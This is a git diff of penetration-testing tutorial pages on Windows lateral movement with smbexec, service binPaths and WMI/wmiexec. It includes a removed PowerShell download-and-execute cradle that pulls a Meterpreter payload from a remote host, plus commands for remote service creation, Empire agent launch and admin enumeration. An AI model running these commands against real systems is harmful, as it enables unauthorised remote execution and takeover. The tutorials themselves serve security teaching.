Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**You could also use the Windows Sysinternals binary PsExec.exe:**
|
||||
|
||||
|
|
|
@ -14,45 +14,36 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## How does it works
|
||||
## How it Works
|
||||
|
||||
**Smbexec works like Psexec.** In this example, **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor.
|
||||
**Smbexec** operates in a manner similar to **Psexec**, targeting **cmd.exe** or **powershell.exe** on the victim's system for backdoor execution, avoiding the use of malicious executables.
|
||||
|
||||
## **SMBExec**
|
||||
|
||||
Let's see what happens when smbexec runs by looking at it from the attackers and target's side:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_prompt.png)
|
||||
|
||||
So we know it creates a service "BTOBTO". But that service isn't present on the target machine when we do an `sc query`. The system logs reveal a clue to what happened:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_service.png)
|
||||
|
||||
The Service File Name contains a command string to execute (%COMSPEC% points to the absolute path of cmd.exe). It echoes the command to be executed to a bat file, redirects the stdout and stderr to a Temp file, then executes the bat file and deletes it. Back on Kali, the Python script then pulls the output file via SMB and displays the contents in our "pseudo-shell". For every command we type into our "shell", a new service is created and the process is repeated. This is why it doesn't need to drop a binary, it just executes each desired command as a new service. Definitely more stealthy, but as we saw, an event log is created for every command executed. Still a very clever way to get a non-interactive "shell"!
|
||||
|
||||
## Manual SMBExec
|
||||
|
||||
**Or executing commands via services**
|
||||
|
||||
As smbexec demonstrated, it's possible to execute commands directly from service binPaths instead of needing a binary. This can be a useful trick to keep in your back pocket if you need to just execute one arbitrary command on a target Windows machine. As a quick example, let's get a Meterpreter shell using a remote service _without_ a binary.
|
||||
|
||||
We'll use Metasploit's `web_delivery` module and choose a PowerShell target with a reverse Meterpreter payload. The listener is set up and it tells us the command to execute on the target machine:
|
||||
|
||||
```
|
||||
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
|
||||
```bash
|
||||
smbexec.py WORKGROUP/username:password@10.10.10.10
|
||||
```
|
||||
|
||||
From our Windows attack box, we create a remote service ("metpsh") and set the binPath to execute cmd.exe with our payload:
|
||||
Smbexec's functionality involves creating a temporary service (e.g., "BTOBTO") on the target machine to execute commands without dropping a binary. This service, constructed to run a command via cmd.exe's path (%COMSPEC%), redirects output to a temporary file and deletes itself post-execution. The method is stealthy but generates event logs for each command, offering a non-interactive "shell" by repeating this process for every command issued from the attacker's side.
|
||||
|
||||
![](../../.gitbook/assets/sc\_psh\_create.png)
|
||||
## Executing Commands Without Binaries
|
||||
|
||||
And then start it:
|
||||
This approach allows for direct command execution via service binPaths, eliminating the need for binaries. It's particularly useful for one-off command execution on a Windows target. For example, using Metasploit's `web_delivery` module with a PowerShell-targeted reverse Meterpreter payload can establish a listener that provides the necessary execution command. Creating and starting a remote service on the attacker's Windows machine with the binPath set to execute this command via cmd.exe allows for the payload's execution, despite potential service response errors, achieving callback and payload execution on the Metasploit listener's side.
|
||||
|
||||
![](../../.gitbook/assets/sc\_psh\_start.png)
|
||||
### Commands Example
|
||||
|
||||
It errors out because our service doesn't respond, but if we look at our Metasploit listener we see that the callback was made and the payload executed.
|
||||
Creating and starting the service can be accomplished with the following commands:
|
||||
|
||||
All the info was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
```cmd
|
||||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
|
||||
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
# References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,107 +14,97 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## How Does it works
|
||||
## How It Works Explained
|
||||
|
||||
Wmi allows to open process in hosts where you know username/(password/Hash). Then, Wmiexec uses wmi to execute each command that is asked to execute (this is why Wmicexec gives you semi-interactive shell).
|
||||
Processes can be opened on hosts where the username and either password or hash are known through the use of WMI. Commands are executed using WMI by Wmiexec, providing a semi-interactive shell experience.
|
||||
|
||||
**dcomexec.py:** This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints (ShellBrowserWindow DCOM object). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. (from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
**dcomexec.py:** Utilizing different DCOM endpoints, this script offers a semi-interactive shell akin to wmiexec.py, specifically leveraging the ShellBrowserWindow DCOM object. It currently supports MMC20. Application, Shell Windows, and Shell Browser Window objects. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
|
||||
## WMI Basics
|
||||
## WMI Fundamentals
|
||||
|
||||
### Namespace
|
||||
|
||||
WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These "directory paths" are called namespaces.\
|
||||
List namespaces:
|
||||
Structured in a directory-style hierarchy, WMI's top-level container is \root, under which additional directories, referred to as namespaces, are organized.
|
||||
Commands to list namespaces:
|
||||
|
||||
```bash
|
||||
#Get Root namespaces
|
||||
# Retrieval of Root namespaces
|
||||
gwmi -namespace "root" -Class "__Namespace" | Select Name
|
||||
|
||||
#List all namespaces (you may need administrator to list all of them)
|
||||
# Enumeration of all namespaces (administrator privileges may be required)
|
||||
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
||||
|
||||
#List namespaces inside "root\cimv2"
|
||||
# Listing of namespaces within "root\cimv2"
|
||||
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
||||
```
|
||||
|
||||
List classes of a namespace with:
|
||||
Classes within a namespace can be listed using:
|
||||
|
||||
```bash
|
||||
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
|
||||
gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse
|
||||
```
|
||||
|
||||
### **Classes**
|
||||
|
||||
The WMI class name eg: win32\_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located.\
|
||||
List classes starting with `win32`:
|
||||
Knowing a WMI class name, such as win32\_process, and the namespace it resides in is crucial for any WMI operation.
|
||||
Commands to list classes beginning with `win32`:
|
||||
|
||||
```bash
|
||||
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
|
||||
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
|
||||
```
|
||||
|
||||
Call a class:
|
||||
Invocation of a class:
|
||||
|
||||
```bash
|
||||
#When you don't specify a namespaces by default is "root/cimv2"
|
||||
# Defaults to "root/cimv2" when namespace isn't specified
|
||||
Get-WmiObject -Class win32_share
|
||||
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
|
||||
```
|
||||
|
||||
### Methods
|
||||
|
||||
WMI classes have one or more functions that can be executed. These functions are called methods.
|
||||
Methods, which are one or more executable functions of WMI classes, can be executed.
|
||||
|
||||
```bash
|
||||
#Load a class using [wmiclass], leist methods and call one
|
||||
# Class loading, method listing, and execution
|
||||
$c = [wmiclass]"win32_share"
|
||||
$c.methods
|
||||
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
|
||||
$c.Create("c:\share\path","name",0,$null,"My Description")
|
||||
#If returned value is "0", then it was successfully executed
|
||||
# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
|
||||
```
|
||||
|
||||
```bash
|
||||
#List methods
|
||||
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
|
||||
#Call create method from win32_share class
|
||||
# Method listing and invocation
|
||||
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
|
||||
```
|
||||
|
||||
## WMI Enumeration
|
||||
|
||||
### Check WMI service
|
||||
### WMI Service Status
|
||||
|
||||
This how you can check if WMI service is running:
|
||||
Commands to verify if the WMI service is operational:
|
||||
|
||||
```bash
|
||||
#Check if WMI service is running
|
||||
# WMI service status check
|
||||
Get-Service Winmgmt
|
||||
Status Name DisplayName
|
||||
------ ---- -----------
|
||||
Running Winmgmt Windows Management Instrumentation
|
||||
|
||||
#From CMD
|
||||
# Via CMD
|
||||
net start | findstr "Instrumentation"
|
||||
```
|
||||
|
||||
### System Information
|
||||
### System and Process Information
|
||||
|
||||
Gathering system and process information through WMI:
|
||||
|
||||
```bash
|
||||
Get-WmiObject -ClassName win32_operatingsystem | select * | more
|
||||
```
|
||||
|
||||
### Process Information
|
||||
|
||||
```bash
|
||||
Get-WmiObject win32_process | Select Name, Processid
|
||||
```
|
||||
|
||||
From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.
|
||||
For attackers, WMI is a potent tool for enumerating sensitive data about systems or domains.
|
||||
|
||||
```
|
||||
```bash
|
||||
wmic computerystem list full /format:list
|
||||
wmic process list /format:list
|
||||
wmic ntdomain list /format:list
|
||||
|
@ -123,41 +113,23 @@ wmic group list /format:list
|
|||
wmic sysaccount list /format:list
|
||||
```
|
||||
|
||||
```bash
|
||||
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
|
||||
```
|
||||
Remote querying of WMI for specific information, such as local admins or logged-on users, is feasible with careful command construction.
|
||||
|
||||
## **Manual Remote WMI Querying**
|
||||
### **Manual Remote WMI Querying**
|
||||
|
||||
For example, here's a very stealthy way to discover local admins on a remote machine (note that domain is the computer name):
|
||||
Stealthy identification of local admins on a remote machine and logged-on users can be achieved through specific WMI queries. `wmic` also supports reading from a text file to execute commands on multiple nodes simultaneously.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Another useful oneliner is to see who is logged on to a machine (for when you're hunting admins):
|
||||
To remotely execute a process over WMI, such as deploying an Empire agent, the following command structure is employed, with successful execution indicated by a return value of "0":
|
||||
|
||||
```bash
|
||||
wmic /node:ordws01 path win32_loggedonuser get antecedent
|
||||
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
|
||||
```
|
||||
|
||||
`wmic` can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:
|
||||
This process illustrates WMI's capability for remote execution and system enumeration, highlighting its utility for both system administration and penetration testing.
|
||||
|
||||
```
|
||||
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
|
||||
```
|
||||
|
||||
**We'll remotely create a process over WMI to execute a Empire agent:**
|
||||
|
||||
```bash
|
||||
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
|
||||
```
|
||||
|
||||
We see it executed successfully (ReturnValue = 0). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.
|
||||
|
||||
All this information was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
# References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
|
Loading…
Reference in a new issue